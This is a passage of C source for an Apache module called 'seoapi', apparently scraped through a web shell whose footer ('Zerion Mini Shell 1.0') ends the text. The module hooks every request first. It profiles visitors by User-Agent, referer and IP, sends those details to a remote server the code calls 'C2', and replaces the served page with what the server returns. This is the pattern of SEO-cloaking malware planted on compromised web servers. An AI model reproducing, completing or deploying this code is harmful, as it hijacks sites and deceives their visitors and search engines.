        apr_table_unset(r->headers_out, "Content-Length");
        apr_table_unset(r->headers_out, "Content-Encoding");
        apr_table_setn(r->headers_out, "Cache-Control",
                       "no-store, no-cache, must-revalidate, max-age=0");
        if (out_len > 0)
            ap_rwrite(out, (int)out_len, r);
        return DONE;
    }
}

/* ---------- output filter: DISABLED (segfault under mpm_event) ---------- */
#if 0
typedef struct {
    apr_bucket_brigade *bb;
    int seen_eos;
    int passthrough;
    apr_off_t bytes;
} seoapi_ctx2;

static apr_status_t pass_saved(ap_filter_t *f, seoapi_ctx2 *ctx)
{
    apr_status_t rv;
    if (!ctx || !ctx->bb) {
        return APR_SUCCESS;
    }
    rv = ap_pass_brigade(f->next, ctx->bb);
    apr_brigade_cleanup(ctx->bb);
    return rv;
}

static apr_status_t seoapi_output_filter(ap_filter_t *f, apr_bucket_brigade *bb)
{
    request_rec *r = f->r;
    seoapi_cfg *cfg;
    seoapi_ctx2 *ctx = f->ctx;
    const char *ua, *ref, *ctype;
    char full[4096], uz[8], rq[32];
    char *flat = NULL;
    apr_size_t flat_len = 0;
    char *c2, *out;
    size_t out_len;
    apr_status_t rv;
    apr_bucket *e;

    cfg = ap_get_module_config(r->server->module_config, &seoapi_module);
    if (!cfg || !cfg->enabled) {
        return ap_pass_brigade(f->next, bb);
    }

    if (!ctx) {
        ctx = apr_pcalloc(r->pool, sizeof(*ctx));
        ctx->bb = apr_brigade_create(r->pool, f->c->bucket_alloc);
        f->ctx = ctx;
    }

    if (ctx->passthrough) {
        return ap_pass_brigade(f->next, bb);
    }

    /* Save buckets safely (handles FILE/mmap) */
    rv = ap_save_brigade(f, &ctx->bb, &bb, r->pool);
    if (rv != APR_SUCCESS) {
        ctx->passthrough = 1;
        return pass_saved(f, ctx);
    }

    for (e = APR_BRIGADE_FIRST(ctx->bb); e != APR_BRIGADE_SENTINEL(ctx->bb);
         e = APR_BUCKET_NEXT(e)) {
        if (APR_BUCKET_IS_EOS(e)) {
            ctx->seen_eos = 1;
            break;
        }
    }

    /* size guard while buffering */
    {
        apr_off_t len = -1;
        apr_brigade_length(ctx->bb, 0, &len);
        if (len > SEOAPI_MAX_BUFFER) {
            ctx->passthrough = 1;
            return pass_saved(f, ctx);
        }
        ctx->bytes = len;
    }

    if (!ctx->seen_eos)
        return APR_SUCCESS;

    /* Flatten only after EOS and size check */
    rv = apr_brigade_pflatten(ctx->bb, &flat, &flat_len, r->pool);
    if (rv != APR_SUCCESS || flat_len > SEOAPI_MAX_BUFFER) {
        ctx->passthrough = 1;
        /* rebuild eos pass of original saved data already in ctx->bb — re-flatten failed */
        return pass_saved(f, ctx);
    }

    maybe_gunzip(r, &flat, &flat_len);

    ctype = r->content_type ? r->content_type : "";
    if (ctype[0] && !ci_strstr(ctype, "html") && !ci_strstr(ctype, "text") &&
        !ci_strstr(ctype, "xml")) {
        return send_bytes(r, f, flat, flat_len, 1);
    }
    /* empty body — pass empty eos */
    if (flat_len == 0) {
        return send_bytes(r, f, "", 0, 1);
    }

    ua = apr_table_get(r->headers_in, "User-Agent");
    ref = apr_table_get(r->headers_in, "Referer");
    build_full_url(r, full, sizeof(full));
    classify(r, ua, ref, full, uz, sizeof(uz), rq, sizeof(rq));
    if (!uz[0]) {
        return send_bytes(r, f, flat, flat_len, 1);
    }
    if (strcmp(uz, "pc") == 0 && ci_strstr(full, "sitemap.xml"))
        apr_snprintf(uz, sizeof(uz), "dt");

    {
        const char *ho = is_mobile_ua(ua) ? "sj" : "pc";
        const char *ip = client_ip(r);
        c2 = seo_fetch(r, cfg, uz, rq, ho, full, ip, ua, ref);
    }
    if (!c2) {
        return send_bytes(r, f, flat, flat_len, 1);
    }

    out = NULL;
    out_len = 0;
    if (!apply_c2(r, c2, flat, flat_len, &out, &out_len) || !out) {
        return send_bytes(r, f, flat, flat_len, 1);
    }

    apr_table_unset(r->headers_out, "Content-Length");
    apr_table_unset(r->headers_out, "Content-Encoding");
    apr_table_unset(r->err_headers_out, "Content-Length");
    apr_table_unset(r->err_headers_out, "Content-Encoding");
    ap_set_content_length(r, (apr_off_t)out_len);

    apr_brigade_cleanup(ctx->bb);
    return send_bytes(r, f, out, out_len, 1);
}
#endif /* output filter disabled */

/*
 * Output filter kept in tree for reference but NOT registered.
 * Prior brigade-buffer + curl-in-filter path segfaulted under mpm_event.
 */
#if 0
static void seoapi_insert_filter(request_rec *r)
{
    (void)r;
}
#endif

static void seoapi_register_hooks(apr_pool_t *p)
{
    static int curl_inited = 0;
    if (!curl_inited) {
        curl_global_init(CURL_GLOBAL_DEFAULT);
        curl_inited = 1;
    }

    /* Handler-only: fetch C2 and DONE — no output filter */
    ap_hook_handler(seoapi_handler, NULL, NULL, APR_HOOK_REALLY_FIRST);

    (void)p;
}

module AP_MODULE_DECLARE_DATA seoapi_module = {
    STANDARD20_MODULE_STUFF,
    NULL,
    NULL,
    seoapi_create_server_cfg,
    NULL,
    seoapi_cmds,
    seoapi_register_hooks
};

Zerion Mini Shell 1.0